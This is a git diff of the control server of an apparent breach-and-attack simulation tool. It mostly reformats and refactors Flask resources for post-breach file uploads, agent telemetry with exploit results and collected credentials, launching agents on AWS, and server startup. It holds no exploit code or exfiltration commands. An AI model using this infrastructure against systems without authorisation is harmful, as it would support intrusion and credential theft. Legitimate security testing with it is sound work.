@@ class FileUpload(flask_restful.Resource): :param file_type: Type indicates which file was received, linux or windows :return: Returns flask response object with uploaded file's filename """ - filename = FileUpload.upload_pba_file(request, (file_type == LINUX_PBA_TYPE)) + filename = FileUpload.upload_pba_file( + request.files["filepond"], (file_type == LINUX_PBA_TYPE) + ) - response = Response( - response=filename, - status=200, mimetype='text/plain') + response = Response(response=filename, status=200, mimetype="text/plain") return response + @staticmethod + def upload_pba_file(file_storage: FileStorage, is_linux=True): + """ + Uploads PBA file to island's file system + :param request_: Request object containing PBA file + :param is_linux: Boolean indicating if this file is for windows or for linux + :return: filename string + """ + filename = secure_filename(file_storage.filename) + file_contents = file_storage.read() + + PostBreachFilesService.save_file(filename, file_contents) + + ConfigService.set_config_value( + (PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename + ) + + return filename + @jwt_required def delete(self, file_type): """ @@ -62,28 +76,12 @@ class FileUpload(flask_restful.Resource): :param file_type: Type indicates which file was deleted, linux of windows :return: Empty response """ - filename_path = PBA_LINUX_FILENAME_PATH if file_type == 'PBAlinux' else PBA_WINDOWS_FILENAME_PATH + filename_path = ( + PBA_LINUX_FILENAME_PATH if file_type == "PBAlinux" else PBA_WINDOWS_FILENAME_PATH + ) filename = ConfigService.get_config_value(filename_path) - file_path = ABS_UPLOAD_PATH.joinpath(filename) - try: - if os.path.exists(file_path): - os.remove(file_path) - ConfigService.set_config_value(filename_path, '') - except OSError as e: - LOG.error("Can't remove previously uploaded post breach files: %s" % e) + if filename: + PostBreachFilesService.remove_file(filename) + ConfigService.set_config_value(filename_path, "") return {} - - @staticmethod - def upload_pba_file(request_, is_linux=True): - """ - Uploads PBA file to island's file system - :param request_: Request object containing PBA file - :param is_linux: Boolean indicating if this file is for windows or for linux - :return: filename string - """ - filename = secure_filename(request_.files['filepond'].filename) - file_path = ABS_UPLOAD_PATH.joinpath(filename).absolute() - request_.files['filepond'].save(str(file_path)) - ConfigService.set_config_value((PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename) - return filename diff --git a/monkey/monkey_island/cc/resources/ransomware_report.py b/monkey/monkey_island/cc/resources/ransomware_report.py new file mode 100644 index 000000000..af86e75a1 --- /dev/null +++ b/monkey/monkey_island/cc/resources/ransomware_report.py @@ -0,0 +1,15 @@ +import flask_restful +from flask import jsonify + +from monkey_island.cc.resources.auth.auth import jwt_required +from monkey_island.cc.services.ransomware import ransomware_report + + +class RansomwareReport(flask_restful.Resource): + @jwt_required + def get(self): + return jsonify( + { + "propagation_stats": ransomware_report.get_propagation_stats(), + } + ) diff --git a/monkey/monkey_island/cc/resources/remote_run.py b/monkey/monkey_island/cc/resources/remote_run.py index 0e80f25c0..0e6e6df10 100644 --- a/monkey/monkey_island/cc/resources/remote_run.py +++ b/monkey/monkey_island/cc/resources/remote_run.py @@ -8,10 +8,14 @@ from common.cloud.aws.aws_service import AwsService from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService -CLIENT_ERROR_FORMAT = "ClientError, error message: '{}'. Probably, the IAM role that has been associated with the " \ - "instance doesn't permit SSM calls. " -NO_CREDS_ERROR_FORMAT = "NoCredentialsError, error message: '{}'. Probably, no IAM role has been associated with the " \ - "instance. " +CLIENT_ERROR_FORMAT = ( + "ClientError, error message: '{}'. Probably, the IAM role that has been associated with the " + "instance doesn't permit SSM calls. " +) +NO_CREDS_ERROR_FORMAT = ( + "NoCredentialsError, error message: '{}'. Probably, no IAM role has been associated with the " + "instance. " +) class RemoteRun(flask_restful.Resource): @@ -20,24 +24,24 @@ class RemoteRun(flask_restful.Resource): RemoteRunAwsService.init() def run_aws_monkeys(self, request_body): - instances = request_body.get('instances') - island_ip = request_body.get('island_ip') + instances = request_body.get("instances") + island_ip = request_body.get("island_ip") return RemoteRunAwsService.run_aws_monkeys(instances, island_ip) @jwt_required def get(self): - action = request.args.get('action') - if action == 'list_aws': + action = request.args.get("action") + if action == "list_aws": is_aws = RemoteRunAwsService.is_running_on_aws() - resp = {'is_aws': is_aws} + resp = {"is_aws": is_aws} if is_aws: try: - resp['instances'] = AwsService.get_instances() + resp["instances"] = AwsService.get_instances() except NoCredentialsError as e: - resp['error'] = NO_CREDS_ERROR_FORMAT.format(e) + resp["error"] = NO_CREDS_ERROR_FORMAT.format(e) return jsonify(resp) except ClientError as e: - resp['error'] = CLIENT_ERROR_FORMAT.format(e) + resp["error"] = CLIENT_ERROR_FORMAT.format(e) return jsonify(resp) return jsonify(resp) @@ -47,11 +51,11 @@ class RemoteRun(flask_restful.Resource): def post(self): body = json.loads(request.data) resp = {} - if body.get('type') == 'aws': + if body.get("type") == "aws": RemoteRunAwsService.update_aws_region_authless() result = self.run_aws_monkeys(body) - resp['result'] = result + resp["result"] = result return jsonify(resp) # default action - return make_response({'error': 'Invalid action'}, 500) + return make_response({"error": "Invalid action"}, 500) diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 041d38b5e..41ff4e3ad 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -1,27 +1,21 @@ import logging -import threading import flask_restful from flask import jsonify, make_response, request from monkey_island.cc.database import mongo -from monkey_island.cc.services.utils.network_utils import local_ip_addresses from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.database import Database from monkey_island.cc.services.infection_lifecycle import InfectionLifecycle - -__author__ = 'Barak' +from monkey_island.cc.services.utils.network_utils import local_ip_addresses logger = logging.getLogger(__name__) class Root(flask_restful.Resource): - def __init__(self): - self.report_generating_lock = threading.Event() - def get(self, action=None): if not action: - action = request.args.get('action') + action = request.args.get("action") if not action: return self.get_server_info() @@ -30,13 +24,14 @@ class Root(flask_restful.Resource): elif action == "killall": return jwt_required(InfectionLifecycle.kill_all)() elif action == "is-up": - return {'is-up': True} + return {"is-up": True} else: - return make_response(400, {'error': 'unknown action'}) + return make_response(400, {"error": "unknown action"}) @jwt_required def get_server_info(self): return jsonify( ip_addresses=local_ip_addresses(), mongo=str(mongo.db), - completed_steps=InfectionLifecycle.get_completed_steps()) + completed_steps=InfectionLifecycle.get_completed_steps(), + ) diff --git a/monkey/monkey_island/cc/resources/security_report.py b/monkey/monkey_island/cc/resources/security_report.py index db434d616..b2ce0704e 100644 --- a/monkey/monkey_island/cc/resources/security_report.py +++ b/monkey/monkey_island/cc/resources/security_report.py @@ -5,7 +5,6 @@ from monkey_island.cc.services.reporting.report import ReportService class SecurityReport(flask_restful.Resource): - @jwt_required def get(self): return ReportService.get_report() diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 75feb20a4..525197f0f 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -10,49 +10,52 @@ from common.common_consts.telem_categories import TelemCategoryEnum from monkey_island.cc.database import mongo from monkey_island.cc.models.monkey import Monkey from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.resources.test.utils.telem_store import TestTelemStore +from monkey_island.cc.resources.blackbox.utils.telem_store import TestTelemStore from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.processing import process_telemetry -__author__ = 'Barak' - logger = logging.getLogger(__name__) class Telemetry(flask_restful.Resource): @jwt_required def get(self, **kw): - monkey_guid = request.args.get('monkey_guid') - telem_category = request.args.get('telem_category') - timestamp = request.args.get('timestamp') + monkey_guid = request.args.get("monkey_guid") + telem_category = request.args.get("telem_category") + timestamp = request.args.get("timestamp") if "null" == timestamp: # special case to avoid ugly JS code... timestamp = None - result = {'timestamp': datetime.now().isoformat()} + result = {"timestamp": datetime.now().isoformat()} find_filter = {} if monkey_guid: - find_filter["monkey_guid"] = {'$eq': monkey_guid} + find_filter["monkey_guid"] = {"$eq": monkey_guid} if telem_category: - find_filter["telem_category"] = {'$eq': telem_category} + find_filter["telem_category"] = {"$eq": telem_category} if timestamp: - find_filter['timestamp'] = {'$gt': dateutil.parser.parse(timestamp)} + find_filter["timestamp"] = {"$gt": dateutil.parser.parse(timestamp)} - result['objects'] = self.telemetry_to_displayed_telemetry(mongo.db.telemetry.find(find_filter)) + result["objects"] = self.telemetry_to_displayed_telemetry( + mongo.db.telemetry.find(find_filter) + ) return result # Used by monkey. can't secure. - @TestTelemStore.store_test_telem + @TestTelemStore.store_exported_telem def post(self): telemetry_json = json.loads(request.data) - telemetry_json['data'] = json.loads(telemetry_json['data']) - telemetry_json['timestamp'] = datetime.now() - telemetry_json['command_control_channel'] = {'src': request.remote_addr, 'dst': request.host} + telemetry_json["data"] = json.loads(telemetry_json["data"]) + telemetry_json["timestamp"] = datetime.now() + telemetry_json["command_control_channel"] = { + "src": request.remote_addr, + "dst": request.host, + } # Monkey communicated, so it's alive. Update the TTL. - Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']).renew_ttl() + Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]).renew_ttl() - monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) + monkey = NodeService.get_monkey_by_guid(telemetry_json["monkey_guid"]) NodeService.update_monkey_modify_time(monkey["_id"]) process_telemetry(telemetry_json) @@ -75,10 +78,10 @@ class Telemetry(flask_restful.Resource): monkey_label = telem_monkey_guid x["monkey"] = monkey_label objects.append(x) - if x['telem_category'] == TelemCategoryEnum.SYSTEM_INFO and 'credentials' in x['data']: - for user in x['data']['credentials']: - if -1 != user.find(','): - new_user = user.replace(',', '.') - x['data']['credentials'][new_user] = x['data']['credentials'].pop(user) + if x["telem_category"] == TelemCategoryEnum.SYSTEM_INFO and "credentials" in x["data"]: + for user in x["data"]["credentials"]: + if -1 != user.find(","): + new_user = user.replace(",", ".") + x["data"]["credentials"][new_user] = x["data"]["credentials"].pop(user) return objects diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 3da328b99..37e6327f6 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -13,45 +13,48 @@ from monkey_island.cc.services.node import NodeService logger = logging.getLogger(__name__) -__author__ = 'itay.mizeretz' - class TelemetryFeed(flask_restful.Resource): @jwt_required def get(self, **kw): - timestamp = request.args.get('timestamp') + timestamp = request.args.get("timestamp") if "null" == timestamp or timestamp is None: # special case to avoid ugly JS code... telemetries = mongo.db.telemetry.find({}) else: - telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}}) - telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)]) + telemetries = mongo.db.telemetry.find( + {"timestamp": {"$gt": dateutil.parser.parse(timestamp)}} + ) + telemetries = telemetries.sort([("timestamp", flask_pymongo.ASCENDING)]) try: - return \ - { - 'telemetries': [TelemetryFeed.get_displayed_telemetry(telem) for telem in telemetries - if TelemetryFeed.should_show_brief(telem)], - 'timestamp': datetime.now().isoformat() - } + return { + "telemetries": [ + TelemetryFeed.get_displayed_telemetry(telem) + for telem in telemetries + if TelemetryFeed.should_show_brief(telem) + ], + "timestamp": datetime.now().isoformat(), + } except KeyError as err: logger.error("Failed parsing telemetries. Error: {0}.".format(err)) - return {'telemetries': [], 'timestamp': datetime.now().isoformat()} + return {"telemetries": [], "timestamp": datetime.now().isoformat()} @staticmethod def get_displayed_telemetry(telem): - monkey = NodeService.get_monkey_by_guid(telem['monkey_guid']) - default_hostname = "GUID-" + telem['monkey_guid'] - return \ - { - 'id': telem['_id'], - 'timestamp': telem['timestamp'].strftime('%d/%m/%Y %H:%M:%S'), - 'hostname': monkey.get('hostname', default_hostname) if monkey else default_hostname, - 'brief': TelemetryFeed.get_telem_brief(telem) - } + monkey = NodeService.get_monkey_by_guid(telem["monkey_guid"]) + default_hostname = "GUID-" + telem["monkey_guid"] + return { + "id": telem["_id"], + "timestamp": telem["timestamp"].strftime("%d/%m/%Y %H:%M:%S"), + "hostname": monkey.get("hostname", default_hostname) if monkey else default_hostname, + "brief": TelemetryFeed.get_telem_brief(telem), + } @staticmethod def get_telem_brief(telem): - telem_brief_parser = TelemetryFeed.get_telem_brief_parser_by_category(telem['telem_category']) + telem_brief_parser = TelemetryFeed.get_telem_brief_parser_by_category( + telem["telem_category"] + ) return telem_brief_parser(telem) @staticmethod @@ -60,61 +63,62 @@ class TelemetryFeed(flask_restful.Resource): @staticmethod def get_tunnel_telem_brief(telem): - tunnel = telem['data']['proxy'] + tunnel = telem["data"]["proxy"] if tunnel is None: - return 'No tunnel is used.' + return "No tunnel is used." else: tunnel_host_ip = tunnel.split(":")[-2].replace("//", "") - tunnel_host = NodeService.get_monkey_by_ip(tunnel_host_ip)['hostname'] - return 'Tunnel set up to machine: %s.' % tunnel_host + tunnel_host = NodeService.get_monkey_by_ip(tunnel_host_ip)["hostname"] + return "Tunnel set up to machine: %s." % tunnel_host @staticmethod def get_state_telem_brief(telem): - if telem['data']['done']: - return '''Monkey finishing its execution.''' + if telem["data"]["done"]: + return """Monkey finishing its execution.""" else: - return 'Monkey started.' + return "Monkey started." @staticmethod def get_exploit_telem_brief(telem): - target = telem['data']['machine']['ip_addr'] - exploiter = telem['data']['exploiter'] - result = telem['data']['result'] + target = telem["data"]["machine"]["ip_addr"] + exploiter = telem["data"]["exploiter"] + result = telem["data"]["result"] if result: - return 'Monkey successfully exploited %s using the %s exploiter.' % (target, exploiter) + return "Monkey successfully exploited %s using the %s exploiter." % (target, exploiter) else: - return 'Monkey failed exploiting %s using the %s exploiter.' % (target, exploiter) + return "Monkey failed exploiting %s using the %s exploiter." % (target, exploiter) @staticmethod def get_scan_telem_brief(telem): - return 'Monkey discovered machine %s.' % telem['data']['machine']['ip_addr'] + return "Monkey discovered machine %s." % telem["data"]["machine"]["ip_addr"] @staticmethod def get_systeminfo_telem_brief(telem): - return 'Monkey collected system information.' + return "Monkey collected system information." @staticmethod def get_trace_telem_brief(telem): - return 'Trace: %s' % telem['data']['msg'] + return "Trace: %s" % telem["data"]["msg"] @staticmethod def get_post_breach_telem_brief(telem): - return '%s post breach action executed on %s (%s) machine.' % (telem['data'][0]['name'], - telem['data'][0]['hostname'], - telem['data'][0]['ip']) + return "%s post breach action executed on %s (%s) machine." % ( + telem["data"][0]["name"], + telem["data"][0]["hostname"], + telem["data"][0]["ip"], + ) @staticmethod def should_show_brief(telem): - return telem['telem_category'] in TELEM_PROCESS_DICT + return telem["telem_category"] in TELEM_PROCESS_DICT -TELEM_PROCESS_DICT = \ - { - TelemCategoryEnum.TUNNEL: TelemetryFeed.get_tunnel_telem_brief, - TelemCategoryEnum.STATE: TelemetryFeed.get_state_telem_brief, - TelemCategoryEnum.EXPLOIT: TelemetryFeed.get_exploit_telem_brief, - TelemCategoryEnum.SCAN: TelemetryFeed.get_scan_telem_brief, - TelemCategoryEnum.SYSTEM_INFO: TelemetryFeed.get_systeminfo_telem_brief, - TelemCategoryEnum.TRACE: TelemetryFeed.get_trace_telem_brief, - TelemCategoryEnum.POST_BREACH: TelemetryFeed.get_post_breach_telem_brief - } +TELEM_PROCESS_DICT = { + TelemCategoryEnum.TUNNEL: TelemetryFeed.get_tunnel_telem_brief, + TelemCategoryEnum.STATE: TelemetryFeed.get_state_telem_brief, + TelemCategoryEnum.EXPLOIT: TelemetryFeed.get_exploit_telem_brief, + TelemCategoryEnum.SCAN: TelemetryFeed.get_scan_telem_brief, + TelemCategoryEnum.SYSTEM_INFO: TelemetryFeed.get_systeminfo_telem_brief, + TelemCategoryEnum.TRACE: TelemetryFeed.get_trace_telem_brief, + TelemCategoryEnum.POST_BREACH: TelemetryFeed.get_post_breach_telem_brief, +} diff --git a/monkey/monkey_island/cc/resources/version_update.py b/monkey/monkey_island/cc/resources/version_update.py index 4c2eca1e3..9346bfce4 100644 --- a/monkey/monkey_island/cc/resources/version_update.py +++ b/monkey/monkey_island/cc/resources/version_update.py @@ -5,8 +5,6 @@ import flask_restful from common.version import get_version from monkey_island.cc.services.version_update import VersionUpdateService -__author__ = 'itay.mizeretz' - logger = logging.getLogger(__name__) @@ -18,7 +16,7 @@ class VersionUpdate(flask_restful.Resource): # even when not authenticated def get(self): return { - 'current_version': get_version(), - 'newer_version': VersionUpdateService.get_newer_version(), - 'download_link': VersionUpdateService.get_download_link() + "current_version": get_version(), + "newer_version": VersionUpdateService.get_newer_version(), + "download_link": VersionUpdateService.get_download_link(), } diff --git a/monkey/monkey_island/cc/resources/zero_trust/finding_event.py b/monkey/monkey_island/cc/resources/zero_trust/finding_event.py index ddef04b77..ce99390da 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/finding_event.py +++ b/monkey/monkey_island/cc/resources/zero_trust/finding_event.py @@ -3,11 +3,16 @@ import json import flask_restful from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import ( + MonkeyZTFindingService, +) class ZeroTrustFindingEvent(flask_restful.Resource): - @jwt_required def get(self, finding_id: str): - return {'events_json': json.dumps(MonkeyZTFindingService.get_events_by_finding(finding_id), default=str)} + return { + "events_json": json.dumps( + MonkeyZTFindingService.get_events_by_finding(finding_id), default=str + ) + } diff --git a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py index 53e757f11..174e02843 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py +++ b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py @@ -5,7 +5,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service imp class AWSKeys(flask_restful.Resource): - @jwt_required def get(self): return get_aws_keys() diff --git a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py index dbed4dd51..5197b1972 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py +++ b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py @@ -6,29 +6,32 @@ from flask import request from common.cloud.scoutsuite_consts import CloudProviders from common.utils.exceptions import InvalidAWSKeys from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import (is_cloud_authentication_setup, - set_aws_keys) +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import ( + is_cloud_authentication_setup, + set_aws_keys, +) class ScoutSuiteAuth(flask_restful.Resource): - @jwt_required def get(self, provider: CloudProviders): if provider == CloudProviders.AWS.value: is_setup, message = is_cloud_authentication_setup(provider) - return {'is_setup': is_setup, 'message': message} + return {"is_setup": is_setup, "message": message} else: - return {'is_setup': False, 'message': ''} + return {"is_setup": False, "message": ""} @jwt_required def post(self, provider: CloudProviders): key_info = json.loads(request.data) - error_msg = '' + error_msg = "" if provider == CloudProviders.AWS.value: try: - set_aws_keys(access_key_id=key_info['accessKeyId'], - secret_access_key=key_info['secretAccessKey'], - session_token=key_info['sessionToken']) + set_aws_keys( + access_key_id=key_info["accessKeyId"], + secret_access_key=key_info["secretAccessKey"], + session_token=key_info["sessionToken"], + ) except InvalidAWSKeys as e: error_msg = str(e) - return {'error_msg': error_msg} + return {"error_msg": error_msg} diff --git a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py index 433bf4631..8b3ce9419 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py +++ b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py @@ -6,8 +6,12 @@ from flask import Response, jsonify from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import FindingService from monkey_island.cc.services.zero_trust.zero_trust_report.pillar_service import PillarService -from monkey_island.cc.services.zero_trust.zero_trust_report.principle_service import PrincipleService -from monkey_island.cc.services.zero_trust.zero_trust_report.scoutsuite_raw_data_service import ScoutSuiteRawDataService +from monkey_island.cc.services.zero_trust.zero_trust_report.principle_service import ( + PrincipleService, +) +from monkey_island.cc.services.zero_trust.zero_trust_report.scoutsuite_raw_data_service import ( + ScoutSuiteRawDataService, +) REPORT_DATA_PILLARS = "pillars" REPORT_DATA_FINDINGS = "findings" @@ -16,7 +20,6 @@ REPORT_DATA_SCOUTSUITE = "scoutsuite" class ZeroTrustReport(flask_restful.Resource): - @jwt_required def get(self, report_data=None): if report_data == REPORT_DATA_PILLARS: @@ -27,7 +30,8 @@ class ZeroTrustReport(flask_restful.Resource): return jsonify(FindingService.get_all_findings_for_ui()) elif report_data == REPORT_DATA_SCOUTSUITE: # Raw ScoutSuite data is already solved as json, no need to jsonify - return Response(ScoutSuiteRawDataService.get_scoutsuite_data_json(), - mimetype='application/json') + return Response( + ScoutSuiteRawDataService.get_scoutsuite_data_json(), mimetype="application/json" + ) flask_restful.abort(http.client.NOT_FOUND) diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json new file mode 100644 index 000000000..5d8dc85aa --- /dev/null +++ b/monkey/monkey_island/cc/server_config.json @@ -0,0 +1,10 @@ +{ + "log_level": "DEBUG", + "environment": { + "server_config": "password", + "deployment": "develop" + }, + "mongodb": { + "start_mongodb": true + } +} diff --git a/monkey/monkey_island/cc/server_config.json.default b/monkey/monkey_island/cc/server_config.json.default deleted file mode 100644 index ecc4c1708..000000000 --- a/monkey/monkey_island/cc/server_config.json.default +++ /dev/null @@ -1,4 +0,0 @@ -{ - "server_config": "password", - "deployment": "develop" -} diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py new file mode 100644 index 000000000..35879a1d4 --- /dev/null +++ b/monkey/monkey_island/cc/server_setup.py @@ -0,0 +1,189 @@ +import atexit +import json +import logging +import sys +from pathlib import Path +from threading import Thread +from typing import Tuple + +import gevent.hub +from gevent.pywsgi import WSGIServer + +# Add the monkey_island directory to the path, to make sure imports that don't start with +# "monkey_island." work. +MONKEY_ISLAND_DIR_BASE_PATH = str(Path(__file__).parent.parent) +if str(MONKEY_ISLAND_DIR_BASE_PATH) not in sys.path: + sys.path.insert(0, MONKEY_ISLAND_DIR_BASE_PATH) + +import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402 +import monkey_island.cc.setup.config_setup as config_setup # noqa: E402 +from common.version import get_version # noqa: E402 +from monkey_island.cc.app import init_app # noqa: E402 +from monkey_island.cc.arg_parser import IslandCmdArgs # noqa: E402 +from monkey_island.cc.arg_parser import parse_cli_args # noqa: E402 +from monkey_island.cc.resources.monkey_download import MonkeyDownload # noqa: E402 +from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 +from monkey_island.cc.server_utils.consts import ( # noqa: E402 + GEVENT_EXCEPTION_LOG, + MONGO_CONNECTION_TIMEOUT, +) +from monkey_island.cc.server_utils.encryptor import initialize_encryptor # noqa: E402 +from monkey_island.cc.server_utils.island_logger import reset_logger, setup_logging # noqa: E402 +from monkey_island.cc.services.initialize import initialize_services # noqa: E402 +from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 +from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 +from monkey_island.cc.setup import island_config_options_validator # noqa: E402 +from monkey_island.cc.setup.gevent_hub_error_handler import GeventHubErrorHandler # noqa: E402 +from monkey_island.cc.setup.island_config_options import IslandConfigOptions # noqa: E402 +from monkey_island.cc.setup.mongo import mongo_setup # noqa: E402 +from monkey_island.cc.setup.mongo.database_initializer import init_collections # noqa: E402 +from monkey_island.cc.setup.mongo.mongo_db_process import MongoDbProcess # noqa: E402 + +logger = logging.getLogger(__name__) + + +def run_monkey_island(): + island_args = parse_cli_args() + config_options, server_config_path = _setup_data_dir(island_args) + + _exit_on_invalid_config_options(config_options) + + _configure_logging(config_options) + _initialize_globals(config_options, server_config_path) + + mongo_db_process = None + if config_options.start_mongodb: + mongo_db_process = _start_mongodb(config_options.data_dir) + + _connect_to_mongodb(mongo_db_process) + + _configure_gevent_exception_handling(Path(config_options.data_dir)) + _start_island_server(island_args.setup_only, config_options) + + +def _setup_data_dir(island_args: IslandCmdArgs) -> Tuple[IslandConfigOptions, str]: + try: + return config_setup.setup_data_dir(island_args) + except OSError as ex: + print(f"Error opening server config file: {ex}") + exit(1) + except json.JSONDecodeError as ex: + print(f"Error loading server config: {ex}") + exit(1) + + +def _exit_on_invalid_config_options(config_options: IslandConfigOptions): + try: + island_config_options_validator.raise_on_invalid_options(config_options) + except Exception as ex: + print(f"Configuration error: {ex}") + exit(1) + + +def _configure_logging(config_options): + reset_logger() + setup_logging(config_options.data_dir, config_options.log_level) + + +def _initialize_globals(config_options: IslandConfigOptions, server_config_path: str): + env_singleton.initialize_from_file(server_config_path) + + initialize_encryptor(config_options.data_dir) + initialize_services(config_options.data_dir) + + +def _start_mongodb(data_dir: Path) -> MongoDbProcess: + mongo_db_process = mongo_setup.start_mongodb(data_dir) + mongo_setup.register_mongo_shutdown_callback(mongo_db_process) + + return mongo_db_process + + +def _connect_to_mongodb(mongo_db_process: MongoDbProcess): + try: + mongo_setup.connect_to_mongodb(MONGO_CONNECTION_TIMEOUT) + except mongo_setup.MongoDBTimeOutError as ex: + if mongo_db_process and not mongo_db_process.is_running(): + logger.error( + f"Failed to start MongoDB process. Check log at {mongo_db_process.log_file}." + ) + else: + logger.error(ex) + sys.exit(1) + except mongo_setup.MongoDBVersionError as ex: + logger.error(ex) + sys.exit(1) + + +def _configure_gevent_exception_handling(data_dir): + hub = gevent.hub.get_hub() + + gevent_exception_log = open(data_dir / GEVENT_EXCEPTION_LOG, "w+", buffering=1) + atexit.register(gevent_exception_log.close) + + # Send gevent's exception output to a log file. + # https://www.gevent.org/api/gevent.hub.html#gevent.hub.Hub.exception_stream + hub.exception_stream = gevent_exception_log + hub.handle_error = GeventHubErrorHandler(hub, logger) + + +def _start_island_server(should_setup_only, config_options: IslandConfigOptions): + populate_exporter_list() + app = init_app(mongo_setup.MONGO_URL) + + init_collections() + + if should_setup_only: + logger.warning("Setup only flag passed. Exiting.") + return + + bootloader_server_thread = _start_bootloader_server() + + logger.info( + f"Using certificate path: {config_options.crt_path}, and key path: " + f"{config_options.key_path}." + ) + + if env_singleton.env.is_debug(): + app.run( + host="0.0.0.0", + debug=True, + ssl_context=(config_options.crt_path, config_options.key_path), + ) + else: + http_server = WSGIServer( + ("0.0.0.0", env_singleton.env.get_island_port()), + app, + certfile=config_options.crt_path, + keyfile=config_options.key_path, + log=logger, + error_log=logger, + ) + _log_init_info() + http_server.serve_forever() + + bootloader_server_thread.join() + + +def _start_bootloader_server() -> Thread: + bootloader_server_thread = Thread(target=BootloaderHttpServer().serve_forever, daemon=True) + + bootloader_server_thread.start() + + return bootloader_server_thread + + +def _log_init_info(): + logger.info("Monkey Island Server is running!") + logger.info(f"version: {get_version()}") + logger.info( + "Listening on the following URLs: {}".format( + ", ".join( + [ + "https://{}:{}".format(x, env_singleton.env.get_island_port()) + for x in local_ip_addresses() + ] + ) + ) + ) + MonkeyDownload.log_executable_hashes() diff --git a/monkey/monkey_island/cc/server_utils/bootloader_server.py b/monkey/monkey_island/cc/server_utils/bootloader_server.py index fbbd32815..bfdd42cf2 100644 --- a/monkey/monkey_island/cc/server_utils/bootloader_server.py +++ b/monkey/monkey_island/cc/server_utils/bootloader_server.py @@ -3,7 +3,6 @@ from http.server import BaseHTTPRequestHandler, HTTPServer from socketserver import ThreadingMixIn from urllib import parse -import pymongo import requests import urllib3 @@ -16,27 +15,25 @@ logger = logging.getLogger(__name__) class BootloaderHttpServer(ThreadingMixIn, HTTPServer): - - def __init__(self, mongo_url): - self.mongo_client = pymongo.MongoClient(mongo_url) - server_address = ('', 5001) + def __init__(self): + server_address = ("", 5001) super().__init__(server_address, BootloaderHTTPRequestHandler) class BootloaderHTTPRequestHandler(BaseHTTPRequestHandler): - def do_POST(self): - content_length = int(self.headers['Content-Length']) + content_length = int(self.headers["Content-Length"]) post_data = self.rfile.read(content_length).decode() - island_server_path = BootloaderHTTPRequestHandler.get_bootloader_resource_url(self.request.getsockname()[0]) + island_server_path = BootloaderHTTPRequestHandler.get_bootloader_resource_url( + self.request.getsockname()[0] + ) island_server_path = parse.urljoin(island_server_path, self.path[1:]) # The island server doesn't always have a correct SSL cert installed # (By default it comes with a self signed one), # that's why we're not verifying the cert in this request. - r = requests.post(url=island_server_path, - data=post_data, - verify=False, - timeout=SHORT_REQUEST_TIMEOUT) # noqa: DUO123 + r = requests.post( # noqa: DUO123 + url=island_server_path, data=post_data, verify=False, timeout=SHORT_REQUEST_TIMEOUT + ) try: if r.status_code != 200: diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index c302f6fb7..30749cb3e 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -1,6 +1,53 @@ import os +from pathlib import Path -__author__ = 'itay.mizeretz' +from common.utils.file_utils import expand_path +from monkey_island.cc.server_utils.file_utils import is_windows_os + + +def get_default_data_dir() -> str: + if is_windows_os(): + return r"%AppData%\monkey_island" + else: + return r"$HOME/.monkey_island" + + +# TODO: Figure out why windows requires the use of `os.getcwd()`. See issue #1207. +def _get_monkey_island_abs_path() -> str: + if is_windows_os(): + return os.path.join(os.getcwd(), "monkey_island") + else: 